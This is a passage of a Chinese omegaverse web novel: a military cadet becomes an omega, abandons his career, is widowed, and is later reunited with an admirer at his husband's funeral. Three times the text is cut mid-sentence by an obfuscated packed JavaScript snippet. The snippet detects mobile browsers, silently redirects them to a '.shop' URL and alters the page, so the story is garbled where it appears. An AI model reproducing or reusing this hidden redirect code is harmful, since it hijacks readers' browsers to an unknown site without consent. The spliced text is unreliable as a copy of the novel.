谁知道学校会把他们分到一个宿舍,谁知道事情会这么凑巧?哪怕只是一个学校,一个班级,亦或者参商早点提交那份“换舍申请”,事情都不至于发展成这样。
这个概率有多大呢?也许和宇宙爆炸的概率差不多大。
Beta没有信息素,压根无法测算匹配度。
分化路径无法复制,参商迅速失去研究价值。
所以,他醒了。
学者们的研究成果也不能被外界知道。
在学校和军队,AB混住很常见,不可能谁都是命中注定的99%,但这会引发Beta们大范围的恐慌。
倒也不是因为Omega的社会地位低——从病房条件就能看出来,联盟对Omega有很多优待。从上学到生活,都有什么降分录取、社会抚养费等等政策。
但这些优待是建立在Omega必须无条件地付出生育价值这一基础上。
匹配中心不会浪费任何一个成年的Omega。
Beta分化成Omega,意味着让渡了自己人身自由和未来的无限可能。
随后,他摆在面前的只剩属于Omega的,唯一的一条路。
医生,或者说研究员,推了推眼镜:“参商。你分化成了Omega。”
参商感觉自己的头在瞬间被人捶了一拳,嗡嗡直响。浑身的热气都消散了,四肢冰冷到生疼。
参商:“我没有听清,请您再说一遍。”
他摇摇欲坠。
“你分化成了Omega,虽然现在你不在发情期。”研究员侧身,从身后护士端着的托盘里取出一片试剂,“但应该能闻到。这是Omega信息素的味道,很安全。试试吧,你要学会适应这种近似嗅觉的第六感。”
参商穿着病号服,唇色苍白到接近肤色。
他接过试纸,靠在柔软地、垫着乳胶的床头,用力嗅了嗅:“……不,我没有闻到。是不是搞错了?”
Omega当然也能继续留在军校。去后勤学校。
但这对一个指挥系的、前途无量的年级首席来说,有些过于残忍了。绝对不是什么值得恭喜的事情。
研究员在心底叹息着,尽量温和地回答:“不用给自己心理暗示。”
她思考片刻,又递过一张试纸:“这是Alpha的信息素。”
具体来说。是孟逐星的信息素,只不过经过好几次稀释。
参商低头,嗅了嗅。然后就像是被镇住一样,浑身僵硬,眼睛都有些发直。
他把试纸还给了医生,低声道:“我知道了,我想自己待一会儿。如果有探视,请帮我拒绝。”
医生们对视一眼。
“好。”研究员做主,答应了他。
护士给参商换上新的点滴,然后,屋里簇拥的人群纷纷散开。
参商保持着原本的坐姿,没有动。许久后,他才缓慢而僵硬地低头,掀开被子。
腰往后挪,床单上有一团明显的湿痕。
是黏腻的水色,却比血还要刺眼。
这些液体是从他生殖腔里流出来的。泛滥潮湿到在短短几秒就渗透衣物,打湿床单。
而他只是闻了一下Alpha的信息素……这是他人生里第一次闻到信息素的气味,属于Alpha的,药酒的气味。*
现在是下午,外面阳光明媚。
参商感觉到绝望。
*
叶玲珑抱着一捧百合花,白绿相间的颜色很素雅。
她穿过医护人员,往楼上的病房走去。这是Omega特殊病栋,Alpha想进来还得提前打申报,并有专员陪同。
叶玲珑以前来过几次,都是来领抑制剂。
她从没想过有天会需要在这看望参商。
她的面容有些憔悴,脸颊都凹陷下去了。自从知道消息后,叶玲珑天天都在哭。光看外表,她才更像那个大病一场的人。
706病房。叶玲珑站在门前,努力调整着自己的表情。最好能像过去看见参商时一样……那应当是娇俏、幸福的。
门没有关。她轻轻推开门,柔和的嗓音却在看清病房内景象时,骤然破音——
“参商!”
并没有什么骇人的画面。参商只是打开了上锁的房门,来到阳台上。
那围栏不高也不矮,就在他腰间的位置。参商站在栏杆前,既能晒太阳,也完全可以一跃而下。
叶玲珑下意识感觉会是后者。她从没有见过这样的参商,如同阴郁潮湿的梅雨季。
他被冬天笼罩着。
百合花掉在地上,叶玲珑跑出平生最快的速度,哭着抱住他:“参商!”
参商的身体僵直许久。
他清楚,最后的勇气也被这一抱撞没了。
或许这就是命运。
自杀很懦弱。
参商需要很大的勇气,去接受那个懦弱的人也是他自己。
片刻后,参商询问:“你怎么来了?”
他试图保持微笑。但失败了。
叶玲珑:“医生说你醒了,可以探望。我翘课过来的。”
参商转身,看向她。
叶玲珑脸上犹带泪痕,努力挤出一个笑:“我想过了,参商……”
我们还是继续在一起吧。就算不知道未来会怎么样,但起码在学校的这段时间,我们还能继续相爱。
这就是叶玲珑想说的话。
参商却在半路打断她:“玲珑,我们分手吧。”
他的目光落在地上掉落的花束上,眼神柔和了一瞬:“谢谢你的花。”
就这么两句话,叶玲珑泣不成声,撕心裂肺。痛苦地抱着头,在他面前缓缓蹲下。
“可我不想、不想、离开……你。”她哽咽着,脸色通红,几乎说不出一局完整的话,大脑都因流出过多的眼泪而缺氧。
参商想,他不该过度沉浸在自己的世界里,伤害那些爱他的人。
可是。
这是他能想出来的最好的选择。对双方都是。
他希望自己永远是叶玲珑记忆里那个骄傲、耀眼、光彩熠熠的指挥官。
而不是一个性情沉郁古怪、怨天尤人的……会给另一个Alpha生孩子的……那样的角色。
他甚至说不出“omega”这个词。
叶玲珑的哭声渐小。
参商拍了拍她的肩膀,后退一步:“回去上课吧。”
他的态度很坚决,声音更是平静到有些绝情。
叶玲珑一步三回头,她多希望参商能在这时候叫住她。
……可惜一次也没有。
.
参商站在阳台边,目送着叶玲珑的背影。在对方抬头回望的瞬间,悄悄后退一步,藏在阴影之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195670|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下。
于是,叶玲珑在楼下徘徊许久,伤心离去。
参商给自己手机充上电,开机。星讯号上全是未读消息,一个个对话框争先恐后地弹出来。
参商一条消息也没看,但下意识打开了置顶的系统通知。
学校发来的,系统自动,时间在半个月前,写的是【恭喜您!在此次军事作战学院实战演习中取得第一的好成绩!请及时到校务处进行信息登记,我们将优先推选您进入联盟青年人才储备名单。】
参商看得有点魔怔。
然后,他拨通自己养父的电话。
养父叫言思,家境优越。
而参商的亲父,只是一个在原始星球经天鹅座射线照射后,幸运地分化成omega的原始人……
他漂亮,没有教养,看起来草包一个。言思却为他神魂颠倒。
据说言思为了和参商亲父在一起,毅然和家里决裂。十分典型的恋爱脑。
可惜最后,亲父选择了爱情,和匹配度极高的家暴A私奔,然后把参商带到了这个世界上。噢,这个Alpha还是言思的战友。据说曾经也是军部明日之星。
言思也只能带着长子回归家庭。很快,他有了新的妻子和孩子。
他和参商没有任何血缘关系。
但在参商两个父亲去世后,是言思把参商接到首都星,给了他一个户籍,让他寄养在下属的家中。
两人没怎么见过面,但言思会定期给参商支付学费、生活费。
这是最好的安排,参商没有抱怨。
言思已经做得够多了。
参商只是他人生里一个污点残留的痕迹;他想要更多,就不礼貌了。
电话很快被接通了,言思显然事先得到过学校的通知。
言思是一个严肃、不那么擅长表达情绪的Alpha。
他无意识地捏着袖扣,说:“学校跟我说过了。你父亲是原生种Omega,所以你的ABO性别不够稳定,这才在成年后二次分化。”
参商回复:“我知道。”学校也跟他说过。
眼前的画面开始闪回,过去和现在叠加着。
【“参商,指挥系肯定是没办法继续就读了,”病房里,系主任很抱歉地开口,“我们也争取过,能不能让你读完大二。但是你也知道,军队里除了歌舞团,不招收任何omega。”】
“军事学院的系主任联系过我,你可以在后勤学院选一个自己喜欢的专业,继续完成学业。”
参商连说话的力气都要没有了。
他气若游丝:“……我想退学。”
【“退学?参商,不要这么短视。”辅导员在病房里焦躁地来回踱步,“未来的日子还很长,这个挫折只是人生里的小意外。而且,虽然你是omega,肯定也能有自己的一片天地!”】
“不要学历吗?”言思的语气显然不赞同,“现在退学,你只有高中文凭。而且匹配中心会催你完婚……”
当时,参商是这么回复辅导员的:“老师,我父亲是被羽虫杀死的。我要给他报仇。当年就是这个信念,支撑我在死人堆里吃虫子尸体活下来的……你能理解吗?”
劝解的话,这些天参商已经听过太多,他看着天花板:“没意义了,叔叔。反正读完都是要进匹配中心的,再读几年书又能怎么样呢?我把你当唯一的长辈,请您支持我的决定。”
……因为我要撑不下去了。
而且,现在回学校吗?那些或同情、或兴奋、或阴暗的眼神,会不分日夜地落在他身上。
多有趣的新闻,甚至称得上香艳。这可是指挥学院的前任首席,猜猜最后是谁第一个射进他生殖腔?
言思沉默片刻:“参商,你真的想清楚了吗?”
他有自己的家庭,对这个没有血缘关系的养子,实在不知道怎么办才好。
参商:“嗯。”
参商挂掉电话。
三天后,参商出院了。他低调地办理完退学手续,并且来到匹配中心,开始录入自己的基因信息。
无家可归的Omega随时可以前往匹配中心,工作人员都是Beta,还提供免费的食宿。
“有非常多的Alpha申请和你配对。”匹配中心的工作人员说,“而且很多都是还没毕业的军校生,真是奇怪。”
参商窝在阅览室的沙发上翻书,慢吞吞地说着:“是啊,真奇怪。”
阳光照在他宛如鎏金般的头发上,他美得像神话故事里的阿波罗。
工作人员傲然道:“但是我们用的可是全联盟的资料库,你完全可以匹配到更好的丈夫。那些军校生都没毕业呢,哪能让他们胡来……再等等看吧。”
半个月后。参商匹配上自己的第一任丈夫。他们的匹配度高达97。
不出意外的话,这会是参商第一任,也是最后一任丈夫。
言思家世已经让普通人望尘莫及。但这位新婚丈夫的家境,明显还要高出好几个档次。
那是一名男性Alpha,24岁。今年刚从帝政军校毕业,桃花眼,照片看着很英俊;祖辈是联盟的开国元勋,有世袭的爵位,恩父还是联盟议会的议员。
丈夫叫百里泽。
9. 第 9 章
9/七流
联盟一共8个星系,83号庇护所建在第八星系的一颗行星上。
这颗行星叫苍兰星。
苍兰星远离宇宙中心,距前线倒是不远。就是资源匮乏,什么都要靠进口,也没什么名胜古迹,基建仿佛还停留在前银河时代。再加上遭遇过几次虫族联军袭击,当地环境就更破败了。
但这里,却是参商的故乡。
参商童年的经历并不在档案上,因此,百里泽对参商选择在庇护所定居很是不解。
参商只是写信回复,这里离你更近。
多亏他们交流用的是文字,百里泽看不见参商的敷衍和言不由衷。
他被这句甜言蜜语哄的心花怒放,拜托自己那位议长父亲,硬生生开辟出一条其他星系到苍兰星的商路,方便他给参商买东西。
83号庇护所就这样成为第八星系航线图上的一个交通枢纽。
于是,这颗差点被抛弃的老旧行星,又一次焕发出生机和人气。
星际移民的数量都蹭蹭往上涨。
今天,星际航站的所有员工严阵以待。
站长第三次开口:“玻璃擦了吗?”
行政:“擦了。”
“孟逐星上校……”
行政拽了一下他的衣袖:“又升了,现在是少将。”
他就像是前银河时期月薪3000的老登点评时政那样开口:“本以为要进帝星中央军部,他呼声很高。结果孟逐星自己激流勇退,说要来我们星系……”
这也是他们一大早站在这里的原因。
孟逐星放弃去帝星,空降第八星系,当上了星区总司令。相当于第八星系的军部一把手。
一想到他现在不过38岁,保守估计还能活个200年。啧,年纪轻轻身居高位,真是令人眼热。
他们站在这,是为了等着见新领导。
“这我知道,送战友的衣冠冢荣归故里是吧?”站长挺着大肚腩,“他和战友感情真好,我们大Alpha就是这么讲义气!”
“嗯,他战友遗嘱是这么写的。说如果光荣牺牲,请送他的遗体回到妻子身边。”行政脸上浮现出一个神神秘秘的笑容,“他还娶了战友的遗孀。知道那个omega是谁吗?”
一些前银河时代的称呼,直到今天仍然在沿用着,代指omega在一段婚姻里的关系。毕竟重新造词很麻烦。
站长侧耳倾听。
行政神神秘秘吐出两个字:“参商。”
站长顿时倒抽一口凉气。
参商这个名字,在庇护所内部,不能说是人尽皆知,也是如雷贯耳。
他在贫困区创办过学校,一开始只招omega——第八星系落后又混乱,很多omega年纪轻轻就会去当雏妓。把他们装进学校里,起码能避免一些过于悲惨的命运。
参商对自己的学生很大方,管吃管住。结果呢?被当地某些人嫉恨得要死,他们贪婪又懒惰,还不会正视自己的劣性——你既然这么富裕,凭什么好处不给我占?
人们说他每天低调地进出上城区,是某个高官的情妇,在别人床上当娼妓换来的土地和物资。但或许婚姻本就是终身绑定的嫖客与娼妓。
谣言传得多了,总有蠢货会信。
于是,真有人在参商回家的路上袭击他。
是两个小混混,无业游民,alpha。
他们躲在参商的车底下,还准备了摄像机。
那天,参商过来处理一起突发事件,是深夜,因此没有叫上警卫员。小混混也是第一次翻进学校蹲点,没想到事情就这么巧。
附近的监控坏了。
警察赶来时,地上只有两具尸体。
这件案子当时闹得很大。
人们不信这个美丽但残疾的omega,竟然能亲手解决两名alpha。
下城区的部分Alpha给这条新闻意淫出许多香艳的版本。
比如参商当天晚上来,是想背着那位高官和谁谁私奔。杀死两人的是另一个没被找到的alpha。
又比如参商其实是趁alpha在自己体内成结的时候,反杀的两名强.奸犯。
Alpha们说到这时往往双眼放光,呼吸急促,脸冒红光:“生殖腔都要被捅烂了!一地血!”
仿佛是趴在人车底亲眼看见的。
但这件案子最后无疾而终。
所有新闻一夜之间被下架,没有任何媒体提及;官方也选择冷处理,仿佛这件事从来没发生过。
普通人渐渐忘记这件事。
但只要是庇护所的管理阶层,都记得那段时间的震动。
大批官员落马,尤其是负责治安、警戒的干部。也不知道是遭受了哪位大人物的雷霆怒火。
站长只知道,那段时间,从第八星系总军区来的军舰络绎不绝,他们每天都在搞接待。
83号庇护所最后竟然直接换了位空降的领导。
“孟逐星战友听说是中将,虽然是死后追封的。当年军衔也不会太低。”站长表情顿时平添几分了然,“怪不得当时……”
站长骤然打了个寒战。心想幸好他没招惹过这位独居又性格孤僻的omega。
他们曾在庇护所内部年会上见过一次,那真是一个……让人挪不开眼睛的存在。
像锁在玻璃展柜里那些高不可攀的昂贵珠宝。穿得很严实,可露出来的每一寸皮肤都在引诱。
“哦,对了,我最开始想问什么来着。孟少将什么时候到?”
……
军舰正在穿越陨石带,预计还有5小时抵达航站。
他一周前就抵达了第八星系,只是在首都苍兰星耽搁了几天,进行必要的军政交接。
刚结束,孟逐星就婉拒了当地高官的邀请,带上百里泽的灵柩,搭乘专机,径直前往83号庇护所。
百里泽尸骨无存,孟逐星能带回来的,只有仪仗队、黑白遗像和衣冠冢。
死了什么都没有了,哀荣是演给活人看的。
噢,匹配中心还传来好消息,他和参商已经在系统内完成了登记,正式结为伴侣。
百里泽的8寸金镶玉黑白遗照刚从保险柜里拿出来,就放在孟逐星的办公桌上,等待仪仗队领走。
孟逐星从外部反光的玻璃窗上,看见自己努力绷紧,却依然别扭上扬的唇角。
军舰的副官在此时恰巧走入办公室。
(注:一艘军舰通常有5位副职,负责不同领域)
孟逐星瞬间坐直身体,端起茶盏,做了一个喝水的假动作。
他再愚笨,也知道在战友遗照前发笑这种事,不符合普世价值观。
百里泽是一位优秀的战士。他死于战争,孟逐星也很是同情和唏嘘。
就是实在憋不住,抱歉。
这位副官是新调过来的,叫言成功。之前一直在百里泽的手下当差。
据说两人关系很好,大学上的同一所军校。
百里泽舰上的战友都牺牲了。
言成功负责后勤调度,本来就不经常出任务,当时正在休婚假……竟然成为“参商舰”唯一的幸存者。
是的,百里泽给自己的星舰取的名字是“参商”,登记在档案里。
如果百里泽能立下赫赫战功,“参商”这个名字会在他死后,被后辈继承。和联盟里的其他名舰一样代代相传。
军衔到少校,才有资格申请自己的星舰。
孟逐星当年本来也想取这个名字。
人生不相见,动如参与商。
参和商本来就是星宿名,时常成对出现;给自己爱舰取名叫参商很正常。
可惜,孟逐星能骗过别人,骗不了自己。
他知道这个参商就是那个参商。
孟逐星足足犹豫两天。
要是被参商知道怎么办?这样是不是不太好。其他人会误会吗?会发现他在觊觎别人妻子吗?倘若我问心有愧呢?
孟逐星还是决定顺从自己本心。
但提交名字时,系统告诉他,该名称已被抢注。
孟逐星:“……”
好想打人啊。
百里泽和他是同一批次擢升的。
不同的是,百里泽刚升到少校衔,就提交了军舰的名字和番号,不带丝毫犹豫。
……他似乎总是晚来一步。
最后,孟逐星的舰队叫“辰星”。
-
而孟逐星把言成功调进自己的舰队里,只为一件事。
言成功把一份厚重的文件放在桌上,表情有些疑惑,还有一些尴尬:“孟少将,这是我整理出来的资料。”
他不是孟逐星的嫡系,虽然互相认识,但两人实在不熟。
辰星舰最近在联盟内部炙手可热,孟逐星是目前最年轻的少将,想加入舰队的军官人山人海。没有捞他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199961|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的理由。
总不能是孟逐星看在死去战友的份上,照顾他吧?
笑死。外人不清楚这俩关系,言成功还不清楚吗?
别看军方在宣传什么战友情(甚至孟逐星继承了战友老婆也是宣传的一部分),实际百里泽和孟逐星压根就不熟!
两边舰队停在同一个哨塔基地,底下的兵时常因为资源分配问题,一言不合就开始自由搏击。
孟逐星调他过去,不会是想冷藏他吧?!
只是军令难违,再怎么不情愿,言成功还是上了孟逐星的贼船。
他领到的第一个任务是,复述百里泽的军伍生涯。
“不是像档案那样,记录几几年在哪个地方完成了什么任务。”孟逐星耐着性子嘱咐,“是多一些细节。比如你们当时在执行任务时,遇到了什么。百里泽说了什么。他性格怎么样……哦,对了,他写的家书在通讯处应该有存档吧?印给我一份,我要看。”
说到这,孟逐星忍不住皱眉,但还是补充:“越详细越好。”
言成功大为不解,但还是在今天完成了初稿。
孟逐星一边翻着资料,一边问:“百里泽去过歌舞团吗?”
前线有着全联盟最优秀的一批年轻Alpha,正是年轻气盛的时候。
战争又如此压抑人性,人总是需要放松的。
于是,军部会组织歌舞团去慰问演出,期间,每天都有联谊会。
年轻的AAOO既可以选择不用负责的露水情缘,也可以在互相看对眼的情况下喜结连理。
孟逐星是从来不去的,谁叫都不去。
但别人去,他也不会管。
言成功不懂为什么孟逐星的语气充满期待:“……我们长官很爱他的妻子,没有让第三者插足的打算。”
这句话真刺耳,孟逐星不爱听。
既然没去过,孟逐星也不好给他造谣了。
他挥手:“你走吧。”
还有五小时到苍兰星,他要耐心研究一下资料。
参商爱他的亡夫吗?
孟逐星不知道。他也不愿意细想。
爱不爱都无所谓了,反正,百里泽死了。现在,他才是参商的丈夫。
说到这,孟逐星突然想到,参商舰的兵私底下给他取的蔑称是“暴躁野猪”。
而他们舰长则是优雅白鹰。
孟逐星对此嗤之以鼻,但如果参商喜欢这款……
他可以逐帧学习。
言成功往外走出一小步,但很快,犹豫着转身:“长官。”
孟逐星没有抬头:“嗯?”
言成功说:“百里泽的遗孀是我同母异父的弟弟,我们很多年没见了。仪式当天,能不能带上我?”
孟逐星一愣,猛地抬头看向他。
这么重要的事,档案上没写也就算了,言成功怎么也不早说?!
参商的档案很干净,尤其是人生前二十年的资料,像被人处理过一样,也不知道是谁干的。
也有可能是档案局觉得Beta没必要详细记录。
孟逐星只知道他是孤儿,被帝星的军官领养过。中学xx学院,本科银河第一军校肄业。20岁那年来到83号庇护所。
21岁怀孕,流产,残疾……22岁在当地创办慈善学校……28岁辞职,把学校转给名下的慈善机构,偶尔还会去学校授课……33岁出版人生第一部学术著作。
现在参商36岁。
很久以前,孟逐星刚毕业,军衔准尉,加入特种部队执行任务。
上司夸他是个冷静、优秀、理性的指挥官。
但孟逐星清楚,他只是在模仿参商。
而参商在他生命里留下的印记,却随着时间流逝,变得越来越模糊。
爱的感觉如此深刻而痛苦。
爱的载体却如此扑朔而迷离。
他像一个朦胧的梦境。
孟逐星记得参商如同太阳般灿烂的金发,碧蓝温和的眼眸。还有时时刻刻带着笑意的上扬的唇角。
可他甚至翻不出一张参商的照片。
学校BBS的帖子不知道为何一夜屏蔽。只能找到一些沸沸扬扬的文字讨论,充满奇怪的防屏蔽词汇。
或许是为了保护Omega?
找不到能怎么办,他总不能问百里泽要吧?
……
孟逐星开口:“你是他哥?……坐下。”
10. 第 10 章
10/七流
今天是百里泽灵柩抵达苍兰星的日子。
参商原以为自己会失眠,结果一觉睡到天亮。
早上七点,雷平准时来到他家中。
房间里的摆设和他上次来没有太大区别,只是看得出有几天没收拾了。
雷平撸起袖子,开始冒充家务机器人。
他在这打扫房间,满头大汗。一个小时后,拐杖敲击地面的声音响起。
参商拄着拐杖,从楼上走下来。
这些年,他拐杖已经用得很熟练,和正常人没什么区别。
但雷平总记得他刚学用拐杖时,一次次跌倒又爬起来的样子。那时候参商才多大?差1个月到22岁。
和普通的残疾不太一样,参商的四肢健全,只是当初被虫族的生物毒素伤到了神经。他的左腿几乎毫无知觉,也无法挪动。
这种生物毒素源于介虫的毒腺,成分复杂,还没有研发出解药。
“理论上,介虫没有这么强的毒性。但我们对虫族的研究也才开始数百年,或许是其中的变异体。”
不过,医生说可以截肢,然后换上假肢。这样起码还能正常行走。
参商拒绝了。这条坏死的腿被护理得很好,没有萎缩;甚至偶尔有些感觉。说不定有天能恢复呢?医学不是一直在发展吗。
如果要追究深层原因,大概是参商觉得自己坏掉也无所谓。
“参商。”雷平胖乎乎的脸上扬起笑容,“我给你带了早饭。你先吃饭,我跟你讲仪式流程。”
百里泽是为国捐躯,战死的。死后连升三级,军衔中将。
他的葬礼相当隆重。
数百家媒体从不同星系赶来,全程录像;交通站到陵园的沿路都系上了白布,街道两侧铺满菊花。
83号庇护所的住民都收到通知,当地学校还会组织学生观看新闻直播。
从他灵柩抵达苍兰星的那一刻,就会开始实况直播。
交通站到陵园全线封路,为灵车让行,天上还有军用直升机一路相随。
百里泽的棺材上会盖着两面旗。
一面是第三军团军旗,一面是联盟官旗。
等到陵园,身穿军礼服的仪仗队负责抬棺,下葬。
而参商作为遗孀,负责签署确认书,以及从军部官员手中接过丈夫的遗物。
后续就是看着百里泽下葬,奏乐。
然后,等仪式结束,参商就能领着亡夫的遗物回家了。
他想自己最好能哭出来。
要不然就显得有些太冷漠了。
雷平小声道:“等会有人来送全套丧服。我猜你就没准备。”
确实没有。
参商慢条斯理地吃完早饭,又去院子里浇花。邻居养的猫钻进来,喵喵地蹭着参商没有知觉的腿。
参商蹲下,摸了摸小猫头。唇角微微上扬。
雷平坐在客厅沙发,透过玻璃看着窗外,嘴角乐呵呵咧到耳根,心底充满怜爱。
哎,雷平又想到战死的百里泽。脸上的笑容很快变成哀容。
百里泽真是福薄,年纪轻轻的,死这么早!
早知如此,他就该劝参商多要几个丈夫,死一个也不至于这么难受。
思来想去,雷平决定辱骂外星虫族。
都怪战争!
中午12点,高定服装店准时送来丧服。
整套的礼服西装和大衣,配上绉纱材质的哀悼袖章;另外还有手套、领带。
所有衣服都是纯黑色。
按照传统,参商还需要用黑色纱布遮住自己的脸。
面纱外观很像新娘的婚纱,只是颜色不同,也不会添加任何带光泽的配饰。
参商的手在头纱上拂过,突然想到他和百里泽并未举行过婚礼。
这套丧服里唯一的浅色,是件高领的白色丝绸衬衣。
参商惯用的医用拐杖被换成一根嵌有宝石的实木拐棍。
他握在手中,不太习惯,试探着走了几步。尽量让自己的步伐看起来没什么异常。
一切准备就绪。
下午两点,军部派来的车停在门口。参商在雷平的陪同下,坐上专车。
雷平知道参商不喜欢去人多的地方。
他硬着头皮开口:“参商,整个流程也就四十分钟,很快的,我们领完遗物就走。”
参商可有可无地“嗯”了一声。
雷平挠挠头:“对了,我是不是忘了跟你说了……军部派来的负责人,是孟逐星。”
车里光线不强,参商弧形漂亮的下颌线在黑纱下若隐若现。
他的唇线在瞬间绷紧,手交叠着放在翘起的腿上。十指正在不知不觉用力,到了一个有点疼的程度。
当年退学后,参商就没有再见过军校里的任何一个同学。
那些前途无量的未来军官们,大概也不会猜到,他竟然一直住在这么偏僻贫困的小庇护所。而不是去帝星当豪门贵妇。
参商甚至没怎么联系自己的养父。庇护所网不好,他只会每年在联盟新年时,给言思报个平安。
既然没能懦弱到去死,那和过去割裂,是参商对自己最后的报复。
许久后,雷平才听到很轻一声“嗯”作为答复。
*
孟逐星坐在车后排。他像个多动症患者,在短短几分钟内换了好几个坐姿。
副舰长唐文瞥了眼他胸前挂满的勋章,调侃道:“老大,虽然我知道葬礼很庄严也很隆重,但也没必要全挂出来吧?”
是真的非常多呢,孟逐星肩又宽,深黑的军礼服穿在身上,像一面勋章墙。
唐文甚至看见了孟逐星刚入伍时的“卫生标兵章”,这是发给全营队卫生和纪律最好的新兵蛋子的!
灵车在前面缓缓开着,百里泽死无全尸;因此,灵柩里装着的不是骨灰,而是他生前穿过的军装、肩章以及获得过的所有荣誉。
孟逐星数了数,一共有51枚勋章。
他掏出丢在犄角旮旯里的“卫生标兵章”,这才在数量上扳回一局。
孟逐星说:“严肃点,马上就要到陵园了。”
实际上,他想的是——
马上能见到参商了。
当年,参商分化成omega,在医院里昏迷了一段时间;然后,就像人间蒸发一样,再也没有出现过。
辅导员说他被父亲接回家修养。几年后,在孟逐星的再三追问下,他才袒露实情,说参商早就退学了。
孟逐星给参商的星讯号发过消息,没有回应。他还去别人教室门口蹲过姚林,想问参商的近况,差点被姚林打。
孟逐星还记得那是一个很平静的午后。
他们正在上军事理论课,后排突然传来一声石破天惊的“卧槽”!
教授相当不满:“起立!你在鬼叫什么?”
那名军校生起身,磕磕绊绊地回答:“……我看群消息,说参商进匹配中心了,适龄Alpha可以申请配对。”
教室在瞬间安静极了。
教授鼻子莫名一酸,她咬牙掩盖情绪:“那也不是你大吵大闹的理由,这是课堂!”
刚下课,大批人往学校的采样点走。热闹得像是要去抢超市发的免费鸡蛋,生怕去晚了,没有自己那份。
孟逐星是一个成年的Alpha,所以,他也去了。
他并不是来排队的。
他觉得参商不会喜欢当一个妻子。
孟逐星很想把这些排队采样的Alpha都杀了。
但就算全杀了,也改变不了一件事,参商真的二次分化成了omega。哪怕这群军校生死光,匹配中心也会为他在其它地方找到合适的丈夫。
孟逐星浑浑噩噩的大脑突然闪过一个念头,如果参商是我的配偶……
如果他是我的妻子,起码,我会献出全部的爱与尊重。
但这个想法纯属梦中的500万。
匹配中心给放出来的omega择偶,一共要挑三轮,第一轮看匹配度
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208742|196952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,低于50直接淘汰,如果申请人数够多,低于70都会淘汰掉;第二轮筛查简历,从外貌、年龄、家境、身体素质等选项综合评分;第三轮是线上面试,阐述申请原因。
就算能通过一轮,以孟逐星当年的条件,也会在第二轮被筛走。
然而,等有意识时,孟逐星已经完成采样,医护人员抽走一管血,面无表情道:“下一个。”
匹配结果第二天就出来了。他和参商的匹配度只有46,不符合二轮申请标准,OUT。
作为军部推荐生,孟逐星很快有了新的监管者。很尴尬,就是姚林。
姚林懒洋洋地坐在床边:“参商托我照顾你。遇上我你偷着乐吧,起码我不会故意卡你毕业,也不会把你当奴才使唤。别的军校生就不一定了。”
听到这句话,孟逐星瞬间站起:“参商联系你了?”
其实没有,这是之前的约定。
但姚林认为自己没有告诉孟逐星的义务。
他挑眉:“怎么?不服?”
孟逐星血红的眼眸盯着他,突然开智般询问:“你和参商匹配度多少?”
姚林:“……87,干嘛?”
87都没配上,那最后挑出来的丈夫得有多好?
孟逐星对参商那位不知名的丈夫产生了浓烈的嫉妒。
还有一种强烈的、难堪到烧灼五脏六腑的自卑。
……
马上到陵园了。
唐文在此时拍了拍孟逐星的肩膀:“诶,别梦游了。前面那辆车……坐的是百里泽家属吧?嫂子会不会在里面?”
封路了,其它车也开不进来。
孟逐星结婚的消息没有瞒着任何人。
后面的军部宣传中,孟逐星更是被渲染成有责任、有担当,替战友照顾家属的新世纪好A。
其他人会以为是政治任务。但唐文清楚……匹配申请被批准的当天,孟逐星到底有多兴奋,一整天嘴角都是上扬的。问到底在开心什么,又不说。
他甚至给自己放了一周假!
(这牲口像是不用睡觉一样精力充沛,不是在出任务就是在训练)
去当地最繁华的商业中心,比照时尚杂志,斥巨资买了数不清的衣服!(认识十多年了,唐文只见过孟逐星穿作战服和军服)
甚至做了发型!(我去,领导你不当流浪汉的时候居然长这么帅??)
唐文隐约感觉,孟逐星等这一天,应当是等了许久。
……
听见唐文的话,孟逐星猛地坐直身体,眼神直勾勾望向车窗外。
单向玻璃,他不需要开窗。
两辆车中间隔着一条街,大约五六十米。
那辆专车是纯黑色的,车上挽着白色绢花。
首先下来的是司机,穿着军礼服。司机打开车厢后座,微微弯腰。太远了,孟逐星听不到他们在说什么。
他死死盯着那扇打开的门。除此外一切事物都是被屏蔽的噪音。
先下来的是一个中年男人,他穿着黑色燕尾服,把礼帽扣在自己头上,随后朝着车内伸出手。
另一只手握住了它,戴着黑色手套。车厢明明不高,他下来却需要人扶。
只需要一个隐没在阴影中的轮廓,孟逐星就认出来了,这是参商。
参商走下车,身披黑色的头纱。
很标准的打扮,丧期的omega大多都是这样的打扮,去出席亡夫的葬礼。
孟逐星挪不开眼睛。
比起传统装扮,参商还要多个配件。
一把黑色的实木拐杖。
参商握着拐杖,往前走去。
他走路姿势和正常人没有太大区别,只是稍微有些慢。
但孟逐星依然从那一深一浅的步伐里,察觉到了什么。
“残疾”,文献上短短两个字,突然有了具体的模样。
他的眼角骤然抽搐了一下。
